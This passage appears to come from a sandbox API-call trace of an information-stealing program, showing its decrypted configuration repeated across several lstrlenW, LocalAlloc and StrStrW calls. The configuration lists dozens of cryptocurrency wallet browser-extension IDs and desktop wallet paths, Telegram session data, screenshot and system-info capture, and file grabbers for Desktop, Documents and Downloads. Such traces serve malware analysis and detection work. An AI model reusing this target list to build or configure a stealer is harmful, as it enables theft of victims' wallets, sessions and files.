Settings\news_khc:hcflpincpppdclinealmandijcmnkbgn;KHC;Local Extension Settings\news_tezbox:mnfifefkajgofkcjkemidiaecocnkjeh;TezBox;Local Extension Settings\news_coin98:aeachknmefphepccionboohckonoeemg;Coin98;Local Extension Settings\news_temple:ookjlbkiijinhpmnjffcofjonbfbgaoc;Temple;Local Extension Settings\news_iconex:flpiciilemghbmfalicajoolhkkenfel;ICONex;Local Extension Settings\news_sollet:fhmfendgdocmcbmfikdcogofphimnkno;Sollet;Local Extension Settings\news_clover:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_polymesh:jojhfeoedkpkglbfimdfabpdfjaoolaf;PolymeshWallet;Local Extension Settings\news_neoline:cphhlgmgameodnhkjdmkpanlelnlohao;NeoLine;Local Extension Settings\news_keplr:dmkamcknogkgcdfhhbddcghachkejeap;Keplr;Local Extension Settings\news_terra_e:ajkhoeiiokighlmdnlakpjfoobnjinie;TerraStation;Local Extension Settings\news_terra:aiifbnbfobpmeekipheeijimdpnlpgpp;TerraStation;Local Extension Settings\news_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3" [0259.623] lstrlenW (lpString="ews_bsc:fhbohimaelbohpjbbldcngcnapndodjp;BinanceChain;Local Extension Settings\news_ronin:fnjhmkhhmkbjkkabndcnnogagogbneec;Ronin;Local Extension Settings\nwlts_exodus:Exodus;26;exodus;*;*partitio*,*cache*,*dictionar*\nwlts_atomic:Atomic;26;atomic;*;*cache*,*IndexedDB*\nwlts_jaxxl:JaxxLiberty;26;com.liberty.jaxx;*;*cache*\nwlts_binance:Binance;26;Binance;*app-store.*;-\nwlts_coinomi:Coinomi;28;Coinomi\\Coinomi\\wallets;*;-\nwlts_electrum:Electrum;26;Electrum\\wallets;*;-\nwlts_elecltc:Electrum-LTC;26;Electrum-LTC\\wallets;*;-\nwlts_elecbch:ElectronCash;26;ElectronCash\\wallets;*;-\nwlts_guarda:Guarda;26;Guarda;*;*cache*,*IndexedDB*\nwlts_green:BlockstreamGreen;28;Blockstream\\Green;*;cache,gdk,*logs*\nwlts_ledger:Ledger Live;26;Ledger Live;*;*cache*,*dictionar*,*sqlite*\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_meta:nkbihfbeogaeaoehlefnkodbefgpgknn;MetaMask;Local Extension Settings\nsstmnfo_System Info.txt:System Information: \n|Installed applications:\n|\nwlts_daedalus:Daedalus;26;Daedalus Mainnet;*;log*,*cache,chain,dictionar*\nwlts_mymonero:MyMonero;26;MyMonero;*;*cache*\nwlts_xmr:Monero;5;Monero\\\\wallets;*.keys;-\nwlts_wasabi:Wasabi;26;WalletWasabi\\\\Client;*;*tor*,*log*\news_metax:mcohilncbfahbmgdjkbpemcciiolgcge;MetaX;Local Extension Settings\news_xdefi:hmeobnfnfcmdkdcmlblgagmfpfboieaf;XDEFI;IndexedDB\news_waveskeeper:lpilbniiabackdjcionkobglmddfbcjo;WavesKeeper;Local Extension Settings\news_solflare:bhhhlbepdkbapadjdnnojkbgioiodbic;Solflare;Local Extension Settings\news_rabby:acmacodkjbdgmoleebolmdjonilkdbch;Rabby;Local Extension Settings\news_cyano:dkdedlpgdmmkkfjabffeganieamfklkm;CyanoWallet;Local Extension Settings\news_coinbase:hnfanknocfeofbddgcijnmhnfnkdnaad;Coinbase;IndexedDB\news_auromina:cnmamaachppnkjgnildpdmkaakejnhae;AuroWallet;Local Extension Settings\news_khc:hcflpincpppdclinealmandijcmnkbgn;KHC;Local Extension Settings\news_tezbox:mnfifefkajgofkcjkemidiaecocnkjeh;TezBox;Local Extension Settings\news_coin98:aeachknmefphepccionboohckonoeemg;Coin98;Local Extension Settings\news_temple:ookjlbkiijinhpmnjffcofjonbfbgaoc;Temple;Local Extension Settings\news_iconex:flpiciilemghbmfalicajoolhkkenfel;ICONex;Local Extension Settings\news_sollet:fhmfendgdocmcbmfikdcogofphimnkno;Sollet;Local Extension Settings\news_clover:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_polymesh:jojhfeoedkpkglbfimdfabpdfjaoolaf;PolymeshWallet;Local Extension Settings\news_neoline:cphhlgmgameodnhkjdmkpanlelnlohao;NeoLine;Local Extension Settings\news_keplr:dmkamcknogkgcdfhhbddcghachkejeap;Keplr;Local Extension Settings\news_terra_e:ajkhoeiiokighlmdnlakpjfoobnjinie;TerraStation;Local Extension Settings\news_terra:aiifbnbfobpmeekipheeijimdpnlpgpp;TerraStation;Local Extension Settings\news_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3") returned 4555 [0259.623] lstrlenW (lpString="ews_bsc:fhbohimaelbohpjbbldcngcnapndodjp;BinanceChain;Local Extension Settings\news_ronin:fnjhmkhhmkbjkkabndcnnogagogbneec;Ronin;Local Extension Settings\nwlts_exodus:Exodus;26;exodus;*;*partitio*,*cache*,*dictionar*\nwlts_atomic:Atomic;26;atomic;*;*cache*,*IndexedDB*\nwlts_jaxxl:JaxxLiberty;26;com.liberty.jaxx;*;*cache*\nwlts_binance:Binance;26;Binance;*app-store.*;-\nwlts_coinomi:Coinomi;28;Coinomi\\Coinomi\\wallets;*;-\nwlts_electrum:Electrum;26;Electrum\\wallets;*;-\nwlts_elecltc:Electrum-LTC;26;Electrum-LTC\\wallets;*;-\nwlts_elecbch:ElectronCash;26;ElectronCash\\wallets;*;-\nwlts_guarda:Guarda;26;Guarda;*;*cache*,*IndexedDB*\nwlts_green:BlockstreamGreen;28;Blockstream\\Green;*;cache,gdk,*logs*\nwlts_ledger:Ledger Live;26;Ledger Live;*;*cache*,*dictionar*,*sqlite*\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_meta:nkbihfbeogaeaoehlefnkodbefgpgknn;MetaMask;Local Extension Settings\nsstmnfo_System Info.txt:System Information: \n|Installed applications:\n|\nwlts_daedalus:Daedalus;26;Daedalus Mainnet;*;log*,*cache,chain,dictionar*\nwlts_mymonero:MyMonero;26;MyMonero;*;*cache*\nwlts_xmr:Monero;5;Monero\\\\wallets;*.keys;-\nwlts_wasabi:Wasabi;26;WalletWasabi\\\\Client;*;*tor*,*log*\news_metax:mcohilncbfahbmgdjkbpemcciiolgcge;MetaX;Local Extension Settings\news_xdefi:hmeobnfnfcmdkdcmlblgagmfpfboieaf;XDEFI;IndexedDB\news_waveskeeper:lpilbniiabackdjcionkobglmddfbcjo;WavesKeeper;Local Extension Settings\news_solflare:bhhhlbepdkbapadjdnnojkbgioiodbic;Solflare;Local Extension Settings\news_rabby:acmacodkjbdgmoleebolmdjonilkdbch;Rabby;Local Extension Settings\news_cyano:dkdedlpgdmmkkfjabffeganieamfklkm;CyanoWallet;Local Extension Settings\news_coinbase:hnfanknocfeofbddgcijnmhnfnkdnaad;Coinbase;IndexedDB\news_auromina:cnmamaachppnkjgnildpdmkaakejnhae;AuroWallet;Local Extension Settings\news_khc:hcflpincpppdclinealmandijcmnkbgn;KHC;Local Extension Settings\news_tezbox:mnfifefkajgofkcjkemidiaecocnkjeh;TezBox;Local Extension Settings\news_coin98:aeachknmefphepccionboohckonoeemg;Coin98;Local Extension Settings\news_temple:ookjlbkiijinhpmnjffcofjonbfbgaoc;Temple;Local Extension Settings\news_iconex:flpiciilemghbmfalicajoolhkkenfel;ICONex;Local Extension Settings\news_sollet:fhmfendgdocmcbmfikdcogofphimnkno;Sollet;Local Extension Settings\news_clover:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_polymesh:jojhfeoedkpkglbfimdfabpdfjaoolaf;PolymeshWallet;Local Extension Settings\news_neoline:cphhlgmgameodnhkjdmkpanlelnlohao;NeoLine;Local Extension Settings\news_keplr:dmkamcknogkgcdfhhbddcghachkejeap;Keplr;Local Extension Settings\news_terra_e:ajkhoeiiokighlmdnlakpjfoobnjinie;TerraStation;Local Extension Settings\news_terra:aiifbnbfobpmeekipheeijimdpnlpgpp;TerraStation;Local Extension Settings\news_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3") returned 4555 [0259.623] LocalAlloc (uFlags=0x40, uBytes=0x2396) returned 0x6b9720 [0259.623] lstrlenW (lpString="ews_bsc:fhbohimaelbohpjbbldcngcnapndodjp;BinanceChain;Local Extension Settings\news_ronin:fnjhmkhhmkbjkkabndcnnogagogbneec;Ronin;Local Extension Settings\nwlts_exodus:Exodus;26;exodus;*;*partitio*,*cache*,*dictionar*\nwlts_atomic:Atomic;26;atomic;*;*cache*,*IndexedDB*\nwlts_jaxxl:JaxxLiberty;26;com.liberty.jaxx;*;*cache*\nwlts_binance:Binance;26;Binance;*app-store.*;-\nwlts_coinomi:Coinomi;28;Coinomi\\Coinomi\\wallets;*;-\nwlts_electrum:Electrum;26;Electrum\\wallets;*;-\nwlts_elecltc:Electrum-LTC;26;Electrum-LTC\\wallets;*;-\nwlts_elecbch:ElectronCash;26;ElectronCash\\wallets;*;-\nwlts_guarda:Guarda;26;Guarda;*;*cache*,*IndexedDB*\nwlts_green:BlockstreamGreen;28;Blockstream\\Green;*;cache,gdk,*logs*\nwlts_ledger:Ledger Live;26;Ledger Live;*;*cache*,*dictionar*,*sqlite*\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_meta:nkbihfbeogaeaoehlefnkodbefgpgknn;MetaMask;Local Extension Settings\nsstmnfo_System Info.txt:System Information: \n|Installed applications:\n|\nwlts_daedalus:Daedalus;26;Daedalus Mainnet;*;log*,*cache,chain,dictionar*\nwlts_mymonero:MyMonero;26;MyMonero;*;*cache*\nwlts_xmr:Monero;5;Monero\\\\wallets;*.keys;-\nwlts_wasabi:Wasabi;26;WalletWasabi\\\\Client;*;*tor*,*log*\news_metax:mcohilncbfahbmgdjkbpemcciiolgcge;MetaX;Local Extension Settings\news_xdefi:hmeobnfnfcmdkdcmlblgagmfpfboieaf;XDEFI;IndexedDB\news_waveskeeper:lpilbniiabackdjcionkobglmddfbcjo;WavesKeeper;Local Extension Settings\news_solflare:bhhhlbepdkbapadjdnnojkbgioiodbic;Solflare;Local Extension Settings\news_rabby:acmacodkjbdgmoleebolmdjonilkdbch;Rabby;Local Extension Settings\news_cyano:dkdedlpgdmmkkfjabffeganieamfklkm;CyanoWallet;Local Extension Settings\news_coinbase:hnfanknocfeofbddgcijnmhnfnkdnaad;Coinbase;IndexedDB\news_auromina:cnmamaachppnkjgnildpdmkaakejnhae;AuroWallet;Local Extension Settings\news_khc:hcflpincpppdclinealmandijcmnkbgn;KHC;Local Extension Settings\news_tezbox:mnfifefkajgofkcjkemidiaecocnkjeh;TezBox;Local Extension Settings\news_coin98:aeachknmefphepccionboohckonoeemg;Coin98;Local Extension Settings\news_temple:ookjlbkiijinhpmnjffcofjonbfbgaoc;Temple;Local Extension Settings\news_iconex:flpiciilemghbmfalicajoolhkkenfel;ICONex;Local Extension Settings\news_sollet:fhmfendgdocmcbmfikdcogofphimnkno;Sollet;Local Extension Settings\news_clover:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_polymesh:jojhfeoedkpkglbfimdfabpdfjaoolaf;PolymeshWallet;Local Extension Settings\news_neoline:cphhlgmgameodnhkjdmkpanlelnlohao;NeoLine;Local Extension Settings\news_keplr:dmkamcknogkgcdfhhbddcghachkejeap;Keplr;Local Extension Settings\news_terra_e:ajkhoeiiokighlmdnlakpjfoobnjinie;TerraStation;Local Extension Settings\news_terra:aiifbnbfobpmeekipheeijimdpnlpgpp;TerraStation;Local Extension Settings\news_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3") returned 4555 [0259.623] LocalAlloc (uFlags=0x40, uBytes=0x2396) returned 0x6bbac0 [0259.623] lstrlenW (lpString="ews_bsc:fhbohimaelbohpjbbldcngcnapndodjp;BinanceChain;Local Extension Settings\news_ronin:fnjhmkhhmkbjkkabndcnnogagogbneec;Ronin;Local Extension Settings\nwlts_exodus:Exodus;26;exodus;*;*partitio*,*cache*,*dictionar*\nwlts_atomic:Atomic;26;atomic;*;*cache*,*IndexedDB*\nwlts_jaxxl:JaxxLiberty;26;com.liberty.jaxx;*;*cache*\nwlts_binance:Binance;26;Binance;*app-store.*;-\nwlts_coinomi:Coinomi;28;Coinomi\\Coinomi\\wallets;*;-\nwlts_electrum:Electrum;26;Electrum\\wallets;*;-\nwlts_elecltc:Electrum-LTC;26;Electrum-LTC\\wallets;*;-\nwlts_elecbch:ElectronCash;26;ElectronCash\\wallets;*;-\nwlts_guarda:Guarda;26;Guarda;*;*cache*,*IndexedDB*\nwlts_green:BlockstreamGreen;28;Blockstream\\Green;*;cache,gdk,*logs*\nwlts_ledger:Ledger Live;26;Ledger Live;*;*cache*,*dictionar*,*sqlite*\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_meta:nkbihfbeogaeaoehlefnkodbefgpgknn;MetaMask;Local Extension Settings\nsstmnfo_System Info.txt:System Information: \n|Installed applications:\n|\nwlts_daedalus:Daedalus;26;Daedalus Mainnet;*;log*,*cache,chain,dictionar*\nwlts_mymonero:MyMonero;26;MyMonero;*;*cache*\nwlts_xmr:Monero;5;Monero\\\\wallets;*.keys;-\nwlts_wasabi:Wasabi;26;WalletWasabi\\\\Client;*;*tor*,*log*\news_metax:mcohilncbfahbmgdjkbpemcciiolgcge;MetaX;Local Extension Settings\news_xdefi:hmeobnfnfcmdkdcmlblgagmfpfboieaf;XDEFI;IndexedDB\news_waveskeeper:lpilbniiabackdjcionkobglmddfbcjo;WavesKeeper;Local Extension Settings\news_solflare:bhhhlbepdkbapadjdnnojkbgioiodbic;Solflare;Local Extension Settings\news_rabby:acmacodkjbdgmoleebolmdjonilkdbch;Rabby;Local Extension Settings\news_cyano:dkdedlpgdmmkkfjabffeganieamfklkm;CyanoWallet;Local Extension Settings\news_coinbase:hnfanknocfeofbddgcijnmhnfnkdnaad;Coinbase;IndexedDB\news_auromina:cnmamaachppnkjgnildpdmkaakejnhae;AuroWallet;Local Extension Settings\news_khc:hcflpincpppdclinealmandijcmnkbgn;KHC;Local Extension Settings\news_tezbox:mnfifefkajgofkcjkemidiaecocnkjeh;TezBox;Local Extension Settings\news_coin98:aeachknmefphepccionboohckonoeemg;Coin98;Local Extension Settings\news_temple:ookjlbkiijinhpmnjffcofjonbfbgaoc;Temple;Local Extension Settings\news_iconex:flpiciilemghbmfalicajoolhkkenfel;ICONex;Local Extension Settings\news_sollet:fhmfendgdocmcbmfikdcogofphimnkno;Sollet;Local Extension Settings\news_clover:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_polymesh:jojhfeoedkpkglbfimdfabpdfjaoolaf;PolymeshWallet;Local Extension Settings\news_neoline:cphhlgmgameodnhkjdmkpanlelnlohao;NeoLine;Local Extension Settings\news_keplr:dmkamcknogkgcdfhhbddcghachkejeap;Keplr;Local Extension Settings\news_terra_e:ajkhoeiiokighlmdnlakpjfoobnjinie;TerraStation;Local Extension Settings\news_terra:aiifbnbfobpmeekipheeijimdpnlpgpp;TerraStation;Local Extension Settings\news_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3") returned 4555 [0259.623] LocalAlloc (uFlags=0x40, uBytes=0x2396) returned 0x6bde60 [0259.623] StrStrW (lpFirst="ews_bsc:fhbohimaelbohpjbbldcngcnapndodjp;BinanceChain;Local Extension Settings\news_ronin:fnjhmkhhmkbjkkabndcnnogagogbneec;Ronin;Local Extension Settings\nwlts_exodus:Exodus;26;exodus;*;*partitio*,*cache*,*dictionar*\nwlts_atomic:Atomic;26;atomic;*;*cache*,*IndexedDB*\nwlts_jaxxl:JaxxLiberty;26;com.liberty.jaxx;*;*cache*\nwlts_binance:Binance;26;Binance;*app-store.*;-\nwlts_coinomi:Coinomi;28;Coinomi\\Coinomi\\wallets;*;-\nwlts_electrum:Electrum;26;Electrum\\wallets;*;-\nwlts_elecltc:Electrum-LTC;26;Electrum-LTC\\wallets;*;-\nwlts_elecbch:ElectronCash;26;ElectronCash\\wallets;*;-\nwlts_guarda:Guarda;26;Guarda;*;*cache*,*IndexedDB*\nwlts_green:BlockstreamGreen;28;Blockstream\\Green;*;cache,gdk,*logs*\nwlts_ledger:Ledger Live;26;Ledger Live;*;*cache*,*dictionar*,*sqlite*\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_meta:nkbihfbeogaeaoehlefnkodbefgpgknn;MetaMask;Local Extension Settings\nsstmnfo_System Info.txt:System Information: \n|Installed applications:\n|\nwlts_daedalus:Daedalus;26;Daedalus Mainnet;*;log*,*cache,chain,dictionar*\nwlts_mymonero:MyMonero;26;MyMonero;*;*cache*\nwlts_xmr:Monero;5;Monero\\\\wallets;*.keys;-\nwlts_wasabi:Wasabi;26;WalletWasabi\\\\Client;*;*tor*,*log*\news_metax:mcohilncbfahbmgdjkbpemcciiolgcge;MetaX;Local Extension Settings\news_xdefi:hmeobnfnfcmdkdcmlblgagmfpfboieaf;XDEFI;IndexedDB\news_waveskeeper:lpilbniiabackdjcionkobglmddfbcjo;WavesKeeper;Local Extension Settings\news_solflare:bhhhlbepdkbapadjdnnojkbgioiodbic;Solflare;Local Extension Settings\news_rabby:acmacodkjbdgmoleebolmdjonilkdbch;Rabby;Local Extension Settings\news_cyano:dkdedlpgdmmkkfjabffeganieamfklkm;CyanoWallet;Local Extension Settings\news_coinbase:hnfanknocfeofbddgcijnmhnfnkdnaad;Coinbase;IndexedDB\news_auromina:cnmamaachppnkjgnildpdmkaakejnhae;AuroWallet;Local Extension Settings\news_khc:hcflpincpppdclinealmandijcmnkbgn;KHC;Local Extension Settings\news_tezbox:mnfifefkajgofkcjkemidiaecocnkjeh;TezBox;Local Extension Settings\news_coin98:aeachknmefphepccionboohckonoeemg;Coin98;Local Extension Settings\news_temple:ookjlbkiijinhpmnjffcofjonbfbgaoc;Temple;Local Extension Settings\news_iconex:flpiciilemghbmfalicajoolhkkenfel;ICONex;Local Extension Settings\news_sollet:fhmfendgdocmcbmfikdcogofphimnkno;Sollet;Local Extension Settings\news_clover:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_polymesh:jojhfeoedkpkglbfimdfabpdfjaoolaf;PolymeshWallet;Local Extension Settings\news_neoline:cphhlgmgameodnhkjdmkpanlelnlohao;NeoLine;Local Extension Settings\news_keplr:dmkamcknogkgcdfhhbddcghachkejeap;Keplr;Local Extension Settings\news_terra_e:ajkhoeiiokighlmdnlakpjfoobnjinie;TerraStation;Local Extension Settings\news_terra:aiifbnbfobpmeekipheeijimdpnlpgpp;TerraStation;Local Extension Settings\news_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension 